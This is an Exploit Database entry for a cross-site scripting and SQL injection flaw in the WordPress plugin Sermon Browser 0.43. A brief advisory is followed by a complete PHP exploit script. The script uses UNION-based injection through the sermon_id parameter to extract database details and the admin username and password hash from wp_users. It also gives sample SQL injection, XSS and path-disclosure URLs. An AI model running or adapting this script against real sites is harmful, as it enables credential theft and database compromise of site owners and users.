WordPress Plugin Sermon Browser 0.43 – Cross-Site Scripting / SQL Injection

• Exploit Database
• 22 阅读

• 作者： Ma3sTr0-Dz
  日期： 2011-04-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35657/

• source: https://www.securityfocus.com/bid/47574/info
  
  The Sermon Browser plugin for WordPress is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
  
  Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
  Sermon Browser 0.43 is vulnerable; other versions may also be affected. 
  
  <?php
   
  if(!$argv[1])
  die("
   
  Usage : php exploit.php [site]
  Example : php exploit.php http://site.com/wp/
   
  ");
  print_r("
   
  # Tilte......: [ WordPress SermonBrowser Plugin 0.43 SQL Injection ]
  # Author.....: [ Ma3sTr0-Dz ]
  # Date.......: [ 25-o4-2o11 ]
  # Location ..: [ ALGERIA ]
  # HoMe ......: [ wWw.sEc4EvEr.CoM ]
  # Download ..: [ http://www.4-14.org.uk/wordpress-plugins/sermon-browser ]
  # Gr33tz ....: [ All Sec4ever Member'z ]
  # Real Bug Founder : Lagripe-Dz
   
  -==[ ExPloiT ]==-
   
  # SQL Inj : http://site/wp/?sermon_id=-1+union+select+version(),2--
  # XSS : http://site/wp/?download&file_name=<script>alert(0)</script>
  # FPD : http://site/wp/wp-content/plugins/sermon-browser/sermon.php
   
   -==[ Start ]==-
   
  ");
   
  $t=array("db_usr"=>"user()","db_ver"=>"version()","db_nam"=>"database()","usr_nm"=>"user_login","passwd"=>"user_pass");
   
  function text2hex($string) {
   $hex = '';
   $len = strlen($string) ;
   for ($i = 0; $i < $len; $i++) {
  $hex .= str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT);
   }
   return $hex;
  }
   
  foreach($t as $r=>$y){
   
  $x=@file_get_contents($argv[1]."?sermon_id=-1/**/UnIoN/**/SeLeCt/**/group_concat(0x".text2hex("<$r>").",$y,0x".text2hex("<$r>")."),2+from+wp_users+where+ID=1--");
   
  preg_match_all("{<$r>(.*?)<$r>}i",$x, $dz);
   
  echo $u = ($dz[1][0]) ? "[-] $r: ".$dz[1][0]."\n" : "[-] $r: Failed !\n";
   
  }
   
  print_r("
  -==[ Finished ]==-
  ");
   
  # By Lagripe-Dz .. !
  # END .. !
   
  ?>